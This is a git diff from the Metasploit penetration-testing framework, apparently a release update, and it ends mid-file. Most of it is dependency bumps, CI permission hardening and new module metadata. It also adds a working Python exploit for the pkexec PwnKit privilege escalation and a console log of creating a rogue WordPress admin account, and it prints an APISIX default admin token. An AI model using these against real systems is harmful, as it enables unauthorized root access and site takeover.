diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml index 37826d1655..f77d420e38 100644 --- a/.github/workflows/labels.yml +++ b/.github/workflows/labels.yml @@ -1,4 +1,23 @@ name: Labels + +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + # This action can update/close issues + issues: write + discussions: none + packages: none + pages: none + # This action can update/close pull requests + pull-requests: write + repository-projects: none + security-events: none + statuses: none + on: pull_request_target: types: [labeled] diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 4d0e23c8c7..04f012eb73 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -1,5 +1,21 @@ name: Lint +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + issues: none + discussions: none + packages: none + pages: none + pull-requests: none + repository-projects: none + security-events: none + statuses: none + on: push: branches-ignore: diff --git a/.github/workflows/schedule-stale.yml b/.github/workflows/schedule-stale.yml index aafff673b7..d5fbf8124d 100644 --- a/.github/workflows/schedule-stale.yml +++ b/.github/workflows/schedule-stale.yml @@ -1,7 +1,26 @@ +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + # This action can update/close issues + issues: write + discussions: none + packages: none + pages: none + pull-requests: none + repository-projects: none + security-events: none + statuses: none + on: schedule: - cron: "0 15 * * 1-5" + name: Stale Bot workflow + jobs: build: name: stale diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index da9184b163..cbcfae033e 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -1,5 +1,21 @@ name: Verify +# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions +permissions: + actions: none + checks: none + contents: none + deployments: none + id-token: none + issues: none + discussions: none + packages: none + pages: none + pull-requests: none + repository-projects: none + security-events: none + statuses: none + on: push: branches-ignore: diff --git a/Gemfile.lock b/Gemfile.lock index 16fa9cc2af..8bb33c8f47 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (6.1.32) + metasploit-framework (6.1.33) actionpack (~> 6.0) activerecord (~> 6.0) activesupport (~> 6.0) @@ -29,7 +29,7 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 2.0.75) + metasploit-payloads (= 2.0.77) metasploit_data_models metasploit_payloads-mettle (= 1.0.18) mqtt @@ -127,23 +127,23 @@ GEM activerecord (>= 3.1.0, < 8) ast (2.4.2) aws-eventstream (1.2.0) - aws-partitions (1.558.0) - aws-sdk-core (3.126.2) + aws-partitions (1.562.0) + aws-sdk-core (3.127.0) aws-eventstream (~> 1, >= 1.0.2) aws-partitions (~> 1, >= 1.525.0) aws-sigv4 (~> 1.1) jmespath (~> 1.0) - aws-sdk-ec2 (1.299.0) - aws-sdk-core (~> 3, >= 3.126.0) + aws-sdk-ec2 (1.301.0) + aws-sdk-core (~> 3, >= 3.127.0) aws-sigv4 (~> 1.1) - aws-sdk-iam (1.67.0) - aws-sdk-core (~> 3, >= 3.126.0) + aws-sdk-iam (1.68.0) + aws-sdk-core (~> 3, >= 3.127.0) aws-sigv4 (~> 1.1) - aws-sdk-kms (1.54.0) - aws-sdk-core (~> 3, >= 3.126.0) + aws-sdk-kms (1.55.0) + aws-sdk-core (~> 3, >= 3.127.0) aws-sigv4 (~> 1.1) - aws-sdk-s3 (1.112.0) - aws-sdk-core (~> 3, >= 3.126.0) + aws-sdk-s3 (1.113.0) + aws-sdk-core (~> 3, >= 3.127.0) aws-sdk-kms (~> 1) aws-sigv4 (~> 1.4) aws-sigv4 (1.4.0) @@ -261,7 +261,7 @@ GEM activemodel (~> 6.0) activesupport (~> 6.0) railties (~> 6.0) - metasploit-payloads (2.0.75) + metasploit-payloads (2.0.77) metasploit_data_models (5.0.4) activerecord (~> 6.0) activesupport (~> 6.0) @@ -436,7 +436,7 @@ GEM ruby-progressbar (1.11.0) ruby-rc4 (0.1.5) ruby2_keywords (0.0.5) - ruby_smb (3.0.4) + ruby_smb (3.0.5) bindata openssl-ccm openssl-cmac diff --git a/LICENSE_GEMS b/LICENSE_GEMS index c84dea78cb..d18418135e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -10,12 +10,12 @@ afm, 0.2.2, MIT arel-helpers, 2.14.0, MIT ast, 2.4.2, MIT aws-eventstream, 1.2.0, "Apache 2.0" -aws-partitions, 1.558.0, "Apache 2.0" -aws-sdk-core, 3.126.2, "Apache 2.0" -aws-sdk-ec2, 1.299.0, "Apache 2.0" -aws-sdk-iam, 1.67.0, "Apache 2.0" -aws-sdk-kms, 1.54.0, "Apache 2.0" -aws-sdk-s3, 1.112.0, "Apache 2.0" +aws-partitions, 1.562.0, "Apache 2.0" +aws-sdk-core, 3.127.0, "Apache 2.0" +aws-sdk-ec2, 1.301.0, "Apache 2.0" +aws-sdk-iam, 1.68.0, "Apache 2.0" +aws-sdk-kms, 1.55.0, "Apache 2.0" +aws-sdk-s3, 1.113.0, "Apache 2.0" aws-sigv4, 1.4.0, "Apache 2.0" bcrypt, 3.1.16, MIT bcrypt_pbkdf, 1.1.0, MIT @@ -77,9 +77,9 @@ memory_profiler, 1.0.0, MIT metasm, 1.0.5, LGPL-2.1 metasploit-concern, 4.0.3, "New BSD" metasploit-credential, 5.0.5, "New BSD" -metasploit-framework, 6.1.32, "New BSD" +metasploit-framework, 6.1.33, "New BSD" metasploit-model, 4.0.3, "New BSD" -metasploit-payloads, 2.0.75, "3-clause (or ""modified"") BSD" +metasploit-payloads, 2.0.77, "3-clause (or ""modified"") BSD" metasploit_data_models, 5.0.4, "New BSD" metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD" method_source, 1.0.0, MIT @@ -161,7 +161,7 @@ ruby-prof, 1.4.2, "Simplified BSD" ruby-progressbar, 1.11.0, MIT ruby-rc4, 0.1.5, MIT ruby2_keywords, 0.0.5, "ruby, Simplified BSD" -ruby_smb, 3.0.4, "New BSD" +ruby_smb, 3.0.5, "New BSD" rubyntlm, 0.6.3, MIT rubyzip, 2.3.2, "Simplified BSD" sawyer, 0.8.2, MIT diff --git a/data/exploits/CVE-2021-4034/cve_2021_4034.py b/data/exploits/CVE-2021-4034/cve_2021_4034.py new file mode 100644 index 0000000000..977866e7e8 --- /dev/null +++ b/data/exploits/CVE-2021-4034/cve_2021_4034.py @@ -0,0 +1,30 @@ +import subprocess +import sys +import os +import shutil +from ctypes import cdll, c_char_p, POINTER + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + +polkit_bin = sys.argv[1].encode('latin-1') +payload_file = sys.argv[2] +random_string_1 = sys.argv[3] +random_string_2 = sys.argv[4] + +file = open(random_string_1 + "/gconv-modules", 'w') +file.write("module UTF-8// " + random_string_2 + "// " + random_string_1 + " 2") +file.close() +argv = [None] +cmd = polkit_bin +env = [random_string_1.encode('latin-1')] +env.append(b"PATH=GCONV_PATH=.") +env.append(b"CHARSET=" + random_string_2.encode('latin-1')) +env.append(b"SHELL="+random_string_1.encode('latin-1')) +env.append(None) + +cargv = (c_char_p * len(argv))(*argv) +cenvp = (c_char_p * len(env))(*env) + +libc.execve(cmd, cargv, cenvp) + diff --git a/data/templates/src/elf/dll/elf_dll_aarch64_template.s b/data/templates/src/elf/dll/elf_dll_aarch64_template.s new file mode 100644 index 0000000000..04a5435db8 --- /dev/null +++ b/data/templates/src/elf/dll/elf_dll_aarch64_template.s @@ -0,0 +1,93 @@ +; build with: +; nasm elf_dll_aarch64_template.s -f bin -o template_aarch64_linux_dll.bin + +BITS 64 +org 0 +ehdr: ; Elf64_Ehdr + db 0x7F, "ELF", 2, 1, 1, 0 ; e_ident + db 0, 0, 0, 0, 0, 0, 0, 0 ; + dw 3 ; e_type = ET_DYN + dw 0xB7 ; e_machine = AARCH64 + dd 1 ; e_version + dq _start ; e_entry + dq phdr - $$ ; e_phoff + dq shdr - $$ ; e_shoff + dd 0 ; e_flags + dw ehdrsize ; e_ehsize + dw phdrsize ; e_phentsize + dw 2 ; e_phnum + dw shentsize ; e_shentsize + dw 2 ; e_shnum + dw 1 ; e_shstrndx + +ehdrsize equ $ - ehdr + +phdr: ; Elf32_Phdr + dd 1 ; p_type = PT_LOAD + dd 7 ; p_flags = rwx + dq 0 ; p_offset + dq $$ ; p_vaddr + dq $$ ; p_paddr + dq 0xDEADBEEF ; p_filesz + dq 0xDEADBEEF ; p_memsz + dq 0x1000 ; p_align +phdrsize equ $ - phdr + dd 2 ; p_type = PT_DYNAMIC + dd 7 ; p_flags = rwx + dq dynsection ; p_offset + dq dynsection ; p_vaddr + dq dynsection ; p_vaddr + dq dynsz ; p_filesz + dq dynsz ; p_memsz + dq 0x1000 ; p_align + +shdr: + dd 1 ; sh_name + dd 6 ; sh_type = SHT_DYNAMIC + dq 0 ; sh_flags + dq dynsection ; sh_addr + dq dynsection ; sh_offset + dq dynsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 8 ; sh_addralign + dq 7 ; sh_entsize +shentsize equ $ - shdr + dd 0 ; sh_name + dd 3 ; sh_type = SHT_STRTAB + dq 0 ; sh_flags + dq strtab ; sh_addr + dq strtab ; sh_offset + dq strtabsz ; sh_size + dd 0 ; sh_link + dd 0 ; sh_info + dq 0 ; sh_addralign + dq 0 ; sh_entsize +dynsection: +; DT_INIT + dq 0x0c + dq _start +; DT_STRTAB + dq 0x05 + dq strtab +; DT_SYMTAB + dq 0x06 + dq strtab +; DT_STRSZ + dq 0x0a + dq 0 +; DT_SYMENT + dq 0x0b + dq 0 +; DT_NULL + dq 0x00 + dq 0 +dynsz equ $ - dynsection + +strtab: + db 0 + db 0 +strtabsz equ $ - strtab +global _start +_start: + diff --git a/data/templates/template_aarch64_linux_dll.bin b/data/templates/template_aarch64_linux_dll.bin new file mode 100644 index 0000000000..b2784d9882 Binary files /dev/null and b/data/templates/template_aarch64_linux_dll.bin differ diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 6ba42bdde0..f81a06c71c 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -26,9 +26,11 @@ wp-symposium photo-gallery pie-register wysija-newsletters +dzs-zoomsounds all-in-one-wp-migration wp-ultimate-csv-importer wp-symposium +masterstudy-lms-learning-management-system wp-gdpr-compliance wp-automatic wp-easycart @@ -41,6 +43,7 @@ wordpress-mobile-pack learnpress wp-mobile-edition boldgrid-backup +modern-events-calendar-lite gi-media-library chopslider bulletproof-security diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 2bf627f349..23390a0777 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -4777,6 +4777,66 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_admin/http/wp_masterstudy_privesc": { + "name": "Wordpress MasterStudy Admin Account Creation", + "fullname": "auxiliary/admin/http/wp_masterstudy_privesc", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2022-02-18", + "type": "auxiliary", + "author": [ + "h00die", + "Numan Türle" + ], + "description": "MasterStudy LMS, a WordPress plugin,\n prior to 2.7.6 is affected by a privilege escalation where an unauthenticated\n user is able to create an administrator account for wordpress itself.", + "references": [ + "CVE-2022-0441", + "URL-https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6", + "EDB-50752", + "WPVDB-173c2efe-ee9c-4539-852f-c242b4f728ed" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2022-03-07 10:57:40 +0000", + "path": "/modules/auxiliary/admin/http/wp_masterstudy_privesc.rb", + "is_install_path": true, + "ref_name": "admin/http/wp_masterstudy_privesc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_admin/http/wp_symposium_sql_injection": { "name": "WordPress Symposium Plugin SQL Injection", "fullname": "auxiliary/admin/http/wp_symposium_sql_injection", @@ -13027,7 +13087,7 @@ "smtps" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-14 09:01:05 +0000", "path": "/modules/auxiliary/dos/smtp/sendmail_prescan.rb", "is_install_path": true, "ref_name": "dos/smtp/sendmail_prescan", @@ -20596,7 +20656,7 @@ "https" ], "targets": null, - "mod_time": "2021-05-21 20:46:23 +0000", + "mod_time": "2022-03-01 21:31:35 +0000", "path": "/modules/auxiliary/gather/shodan_search.rb", "is_install_path": true, "ref_name": "gather/shodan_search", @@ -36411,6 +36471,67 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/wp_modern_events_calendar_sqli": { + "name": "WordPress Modern Events Calendar SQLi Scanner", + "fullname": "auxiliary/scanner/http/wp_modern_events_calendar_sqli", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2021-12-13", + "type": "auxiliary", + "author": [ + "h00die", + "Hacker5preme (Ron Jost)", + "red0xff" + ], + "description": "Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in\n versions before 6.1.5. The time parameter is vulnerable to injection.", + "references": [ + "EDB-50687", + "CVE-2021-24946", + "URL-https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md", + "WPVDB-09871847-1d6a-4dfe-8a8c-f2f53ff87445" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2022-02-13 15:50:24 +0000", + "path": "/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.rb", + "is_install_path": true, + "ref_name": "scanner/http/wp_modern_events_calendar_sqli", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/wp_nextgen_galley_file_read": { "name": "WordPress NextGEN Gallery Directory Read Vulnerability", "fullname": "auxiliary/scanner/http/wp_nextgen_galley_file_read", @@ -36498,11 +36619,11 @@ "https" ], "targets": null, - "mod_time": "2022-02-02 10:48:58 +0000", + "mod_time": "2022-02-13 15:40:57 +0000", "path": "/modules/auxiliary/scanner/http/wp_registrationmagic_sqli.rb", "is_install_path": true, "ref_name": "scanner/http/wp_registrationmagic_sqli", - "check": false, + "check": true, "post_auth": true, "default_credential": false, "notes": { @@ -45423,7 +45544,7 @@ "smtps" ], "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2022-02-14 09:01:05 +0000", "path": "/modules/auxiliary/scanner/smtp/smtp_relay.rb", "is_install_path": true, "ref_name": "scanner/smtp/smtp_relay", @@ -69735,6 +69856,68 @@ ], "needs_cleanup": true }, + "exploit_linux/local/cve_2021_4034_pwnkit_lpe_pkexec": { + "name": "Local Privilege Escalation in polkits pkexec", + "fullname": "exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-01-25", + "type": "exploit", + "author": [ + "Qualys Security", + "Andris Raugulis", + "Dhiraj Mishra", + "bwatters-r7" + ], + "description": "A bug exists in the polkit pkexec binary in how it processes arguments. If\n the binary is provided with no arguments, it will continue to process environment\n variables as argument variables, but without any security checking.\n By using the execve call we can specify a null argument list and populate the\n proper environment variables. This exploit is architecture independent.", + "references": [ + "CVE-2021-4034", + "URL-https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/", + "URL-https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt", + "URL-https://github.com/arthepsy/CVE-2021-4034", + "URL-https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/", + "URL-https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py" + ], + "platform": "Linux", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "x86_64", + "x86", + "aarch64" + ], + "mod_time": "2022-03-03 09:19:45 +0000", + "path": "/modules/exploits/linux/local/cve_2021_4034_pwnkit_lpe_pkexec.rb", + "is_install_path": true, + "ref_name": "linux/local/cve_2021_4034_pwnkit_lpe_pkexec", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Reliability": [ + "repeatable-session" + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true + }, "exploit_linux/local/desktop_privilege_escalation": { "name": "Desktop Linux Password Stealer and Privilege Escalation", "fullname": "exploit/linux/local/desktop_privilege_escalation", @@ -74520,7 +74703,7 @@ "targets": [ "Linux x86" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-14 09:01:05 +0000", "path": "/modules/exploits/linux/smtp/exim4_dovecot_exec.rb", "is_install_path": true, "ref_name": "linux/smtp/exim4_dovecot_exec", @@ -76110,7 +76293,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-05-13 04:01:03 +0000", + "mod_time": "2022-02-16 11:48:55 +0000", "path": "/modules/exploits/multi/browser/chrome_array_map.rb", "is_install_path": true, "ref_name": "multi/browser/chrome_array_map", @@ -76118,6 +76301,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Stability": [ + "crash-safe" + ] }, "session_types": false, "needs_cleanup": null @@ -76212,7 +76404,7 @@ "Windows 10 - Google Chrome 80.0.3987.87 (64 bit)", "macOS - Google Chrome 80.0.3987.87 (64 bit)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-16 11:48:55 +0000", "path": "/modules/exploits/multi/browser/chrome_jscreate_sideeffect.rb", "is_install_path": true, "ref_name": "multi/browser/chrome_jscreate_sideeffect", @@ -76220,6 +76412,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Stability": [ + "crash-safe" + ] }, "session_types": false, "needs_cleanup": null @@ -76261,7 +76462,7 @@ "No sandbox escape (--no-sandbox)", "Windows 7 (x64) sandbox escape via CVE-2019-1458" ], - "mod_time": "2021-05-13 04:01:03 +0000", + "mod_time": "2022-02-16 11:48:55 +0000", "path": "/modules/exploits/multi/browser/chrome_object_create.rb", "is_install_path": true, "ref_name": "multi/browser/chrome_object_create", @@ -76269,6 +76470,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Stability": [ + "crash-safe" + ] }, "session_types": false, "needs_cleanup": null @@ -76370,6 +76580,60 @@ "session_types": false, "needs_cleanup": null }, + "exploit_multi/browser/firefox_jit_use_after_free": { + "name": "Firefox MCallGetProperty Write Side Effects Use After Free Exploit", + "fullname": "exploit/multi/browser/firefox_jit_use_after_free", + "aliases": [ + + ], + "rank": 0, + "disclosure_date": "2020-11-18", + "type": "exploit", + "author": [ + "360 ESG Vulnerability Research Institute", + "maxpl0it", + "timwr" + ], + "description": "This modules exploits CVE-2020-26950, a use after free exploit in Firefox.\n The MCallGetProperty opcode can be emitted with unmet assumptions resulting\n in an exploitable use-after-free condition.\n\n This exploit uses a somewhat novel technique of spraying ArgumentsData\n structures in order to construct primitives. The shellcode is forced into\n executable memory via the JIT compiler, and executed by writing to the JIT\n region pointer.\n\n This exploit does not contain a sandbox escape, so firefox must be run\n with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order\n for the shellcode to run successfully.\n\n This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and\n Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.\n Additional work may be needed to support other versions such as Firefox 82.0.1.", + "references": [ + "CVE-2020-26950", + "URL-https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950", + "URL-https://bugzilla.mozilla.org/show_bug.cgi?id=1675905", + "URL-https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/" + ], + "platform": "Linux,Windows", + "arch": "x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Automatic" + ], + "mod_time": "2022-02-26 12:35:38 +0000", + "path": "/modules/exploits/multi/browser/firefox_jit_use_after_free.rb", + "is_install_path": true, + "ref_name": "multi/browser/firefox_jit_use_after_free", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Stability": [ + "crash-safe" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/browser/firefox_pdfjs_privilege_escalation": { "name": "Firefox PDF.js Privileged Javascript Injection", "fullname": "exploit/multi/browser/firefox_pdfjs_privilege_escalation", @@ -79100,6 +79364,69 @@ "session_types": false, "needs_cleanup": true }, + "exploit_multi/http/apache_apisix_api_default_token_rce": { + "name": "APISIX Admin API default access token RCE", + "fullname": "exploit/multi/http/apache_apisix_api_default_token_rce", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2020-12-07", + "type": "exploit", + "author": [ + "Heyder Andrade ", + "YuanSheng Wang " + ], + "description": "Apache APISIX has a default, built-in API token edd1c9f034335f136f87ad84b625c8f1 that can be used to access\n all of the admin API, which leads to remote LUA code execution through the script parameter added in the 2.x\n version. This module also leverages another vulnerability to bypass the IP restriction plugin.", + "references": [ + "CVE-2020-13945", + "CVE-2022-24112", + "URL-https://github.com/apache/apisix/pull/2244", + "URL-https://seclists.org/oss-sec/2020/q4/187", + "URL-https://www.openwall.com/lists/oss-security/2022/02/11/3" + ], + "platform": "Unix", + "arch": "cmd", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Automatic" + ], + "mod_time": "2022-03-07 09:46:15 +0000", + "path": "/modules/exploits/multi/http/apache_apisix_api_default_token_rce.rb", + "is_install_path": true, + "ref_name": "multi/http/apache_apisix_api_default_token_rce", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": null + }, "exploit_multi/http/apache_flink_jar_upload_exec": { "name": "Apache Flink JAR Upload Java Code Execution", "fullname": "exploit/multi/http/apache_flink_jar_upload_exec", @@ -96546,7 +96873,7 @@ "Python payload", "Command payload" ], - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2022-02-16 11:48:55 +0000", "path": "/modules/exploits/osx/browser/safari_in_operator_side_effect.rb", "is_install_path": true, "ref_name": "osx/browser/safari_in_operator_side_effect", @@ -96554,6 +96881,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Stability": [ + "crash-safe" + ] }, "session_types": false, "needs_cleanup": null @@ -99755,6 +100091,68 @@ "session_types": false, "needs_cleanup": null }, + "exploit_unix/http/pfsense_diag_routes_webshell": { + "name": "pfSense Diag Routes Web Shell Upload", + "fullname": "exploit/unix/http/pfsense_diag_routes_webshell", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2022-02-23", + "type": "exploit", + "author": [ + "Abdel Adim \"smaury\" Oisfi of Shielder", + "jbaines-r7" + ], + "description": "This module exploits an arbitrary file creation vulnerability in the pfSense\n HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2\n and can be exploited by an authenticated user if they have the\n \"WebCfg - Diagnostics: Routing tables\" privilege.\n\n This module uses the vulnerability to create a web shell and execute payloads\n with root privileges.", + "references": [ + "CVE-2021-41282", + "URL-https://www.shielder.it/advisories/pfsense-remote-command-execution/" + ], + "platform": "BSD,Unix", + "arch": "cmd, x64", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Unix Command", + "BSD Dropper" + ], + "mod_time": "2022-02-27 18:12:54 +0000", + "path": "/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb", + "is_install_path": true, + "ref_name": "unix/http/pfsense_diag_routes_webshell", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk" + ] + }, + "session_types": false, + "needs_cleanup": true + }, "exploit_unix/http/pfsense_graph_injection_exec": { "name": "pfSense authenticated graph status RCE", "fullname": "exploit/unix/http/pfsense_graph_injection_exec", @@ -101127,7 +101525,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2022-02-14 09:01:05 +0000", "path": "/modules/exploits/unix/smtp/exim4_string_format.rb", "is_install_path": true, "ref_name": "unix/smtp/exim4_string_format", @@ -146967,7 +147365,7 @@ "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-03-03 13:02:55 +0000", "path": "/modules/exploits/windows/local/bypassuac_comhijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_comhijack", @@ -146975,6 +147373,16 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "repeatable-session" + ], + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "screen-effects" + ] }, "session_types": [ "meterpreter" @@ -175262,7 +175670,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-08 13:08:01 +0000", + "mod_time": "2022-03-01 09:50:49 +0000", "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_bind_tcp", @@ -175296,7 +175704,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-08 13:08:01 +0000", + "mod_time": "2022-03-01 09:50:49 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_http", @@ -175330,7 +175738,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-08 13:08:01 +0000", + "mod_time": "2022-03-01 09:50:49 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_https", @@ -175364,7 +175772,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-12-08 13:08:01 +0000", + "mod_time": "2022-03-01 09:50:49 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "python/meterpreter_reverse_tcp", @@ -199416,7 +199824,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2022-03-05 13:24:55 +0000", "path": "/modules/post/windows/manage/persistence_exe.rb", "is_install_path": true, "ref_name": "windows/manage/persistence_exe", diff --git a/documentation/modules/auxiliary/admin/http/wp_masterstudy_privesc.md b/documentation/modules/auxiliary/admin/http/wp_masterstudy_privesc.md new file mode 100644 index 0000000000..35cd7458af --- /dev/null +++ b/documentation/modules/auxiliary/admin/http/wp_masterstudy_privesc.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +MasterStudy LMS, a WordPress plugin, +prior to 2.7.6 is affected by a privilege escalation where an unauthenticated +user is able to create an administrator account for wordpress itself. + +[The vulnerable version is available on WordPress' plugin directory](https://downloads.wordpress.org/plugin/masterstudy-lms-learning-management-system.2.7.5.zip). + +## Verification Steps + + 1. `msfconsole` + 2. `use auxiliary/admin/http/wp_masterstudy_privesc` + 3. `set RHOSTS ` + 4. `run` + +## Options + +### USERNAME + +Set a `USERNAME` if desirable. Defaults to empty, and random generation. + +### PASSWORD + +Set a `PASSWORD` if desirable. Defaults to empty, and random generation. + +### EMAIL + +Set a `EMAIL` if desirable. Defaults to empty, and random generation. + +## Scenarios + +### MasterStudy 2.7.5 on WordPress 5.7.5 + +``` +[*] Processing masterstudy.rb for ERB directives. +resource (masterstudy.rb)> use auxiliary/admin/http/wp_masterstudy_privesc +resource (masterstudy.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (masterstudy.rb)> set verbose true +verbose => true +resource (masterstudy.rb)> run +[*] Running module against 1.1.1.1 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/masterstudy-lms-learning-management-system/readme.txt +[*] Found version 2.7.5 in the plugin +[+] The target appears to be vulnerable. +[*] Attempting with username: ujukzntw7 password: TbxjFm0znF email: ashley.thompson@gcvz2cibu.org +[+] Account Created Successfully +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_modern_events_calendar_sqli.md new file mode 100644 index 